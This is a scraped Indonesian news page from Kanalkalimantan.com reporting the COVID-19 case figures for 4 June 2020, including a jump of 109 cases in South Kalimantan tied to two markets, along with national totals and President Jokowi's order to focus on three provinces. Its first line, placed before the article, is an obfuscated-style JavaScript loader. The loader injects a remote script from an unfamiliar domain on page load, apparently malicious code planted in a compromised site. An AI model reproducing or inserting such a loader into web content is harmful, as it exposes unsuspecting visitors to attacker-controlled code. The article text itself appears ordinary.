(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pemerintah mengumumkan adanya tambahan 585 kasus positif virus corona Covid-19 pada Kamis (4/6/2020). Dari jumlah tersebut, kenaikan tertinggi angka infeksi corona terjadi di Provinsi Kalimantan Selatan, yakni 109 orang.
Juru bicara pemerintah untuk penanganan virus corona Covid-19 Achmad Yurianto mengatakan, kenaikan kasus positif corona di Kalimantan Selatan karena adanya kontak erat yang terjadi di dua pasar pada sepekan lalu.
“Jumlah ini cukup banyak dan hari ini tidak ada yang dilaporkan sembuh (di Kalimantan Selatan),” kata Yurianto di Gedung BNPB, Jakarta, Kamis (4/6), dilansir Katadata.co.id.
Data yang dihimpun Kanalkalimantan.com, jumlah orang yang terpapar Covid-19 di Kalsel hingga awal Juni 2020 ini belum menunjukkan grafik penurunan, bahkan cenderung terus meningkat. Data yang dikeluarkan Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalimantan Selatan pada Kamis (4/6/2020) menunjukkan adanya lonjakan kasus baru positif Covid-19, sehingga kini tercatat ada 1.142 kasus positif Covid-19 di Kalsel.
“Penambahan positif Covid-19 hari ini sebanyak 109 kasus,” kata Juru Bicara Tim Gugus Tugas P2 Covid-19 Kalsel Muhamad Muslim, Kamis (4/6/2020) sore.
Penambahan itu, papar dia, didominasi dari Kota Banjarmasin sebanyak 103 kasus, Kota Banjarbaru sebanyak tiga kasus, Kabupaten Hulu Sungai Utara sebanyak dua kasus dan Kabupaten Tanahbumbu sebanyak satu kasus.
Saat ini, dari 1.142 kasus positif Covid-19, sebanyak 948 kasus di antaranya menjalani perawatan baik di rumah sakit maupun menjalani karantina khusus. Di samping itu, lanjut dia, kasus kematian akibat Covid-19 juga mengalami kenaikan.
Sehingga kini tercatat ada 93 kasus meninggal dunia akibat Covid-19. “Dua pasien dalam pengawasan (PDP) yang meninggal pada 22 dan 23 Mei 2020 lalu terkonfirmasi positif covid-19 pada 2 Juni 2020,” ungkap Muslim.
Di sisi lain, penambahan kasus positif corona terbanyak kedua berasal dari Jakarta, yakni 94 orang. Meski demikian sudah ada tambahan 21 orang di Ibu Kota yang dilaporkan sembuh dari virus tersebut pada hari ini.
Di Jawa Timur terdapat tambahan 90 orang yang terkonfirmasi positif corona. Namun jika dibandingkan pada hari sebelumnya, jumlah kasus Covid-19 di wilayah ini mengalami penurunan. Pada Rabu (3/6), jumlah kasus positif corona di Jawa Timur sebanyak 183 orang. “Secara signifikan pasien yang sembuh ada 209 orang untuk Jawa Timur,” kata Yurianto.
Sedangkan total 28.818 orang yang dinyatakan positif corona di Indonesia hingga saat ini. Dari angka tersebut 8.892 dinyatakan telah sembuh dan 1.721 meninggal dunia.
Sebelumnya Presiden Joko Widodo memerintahkan Gugus Tugas Percepatan Penanganan Covid-19 bersama TNI, dan Polri untuk fokus mengendalikan virus corona di tiga provinsi, yakni Jawa Timur, Sulawesi Selatan, dan Kalimantan Selatan. Ini lantaran laju penyebaran Covid-19 di ketiga wilayah tersebut hingga saat ini masih tinggi.
“Tolong ini dijadikan perhatian khusus sehingga angka penyebarannya bisa kita tekan lebih turun lagi,” kata Jokowi saat membuka rapat terbatas melalui konferensi video, Kamis (4/6). (Kanalkalimantan.com/fikri/katadata)
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
This website uses cookies.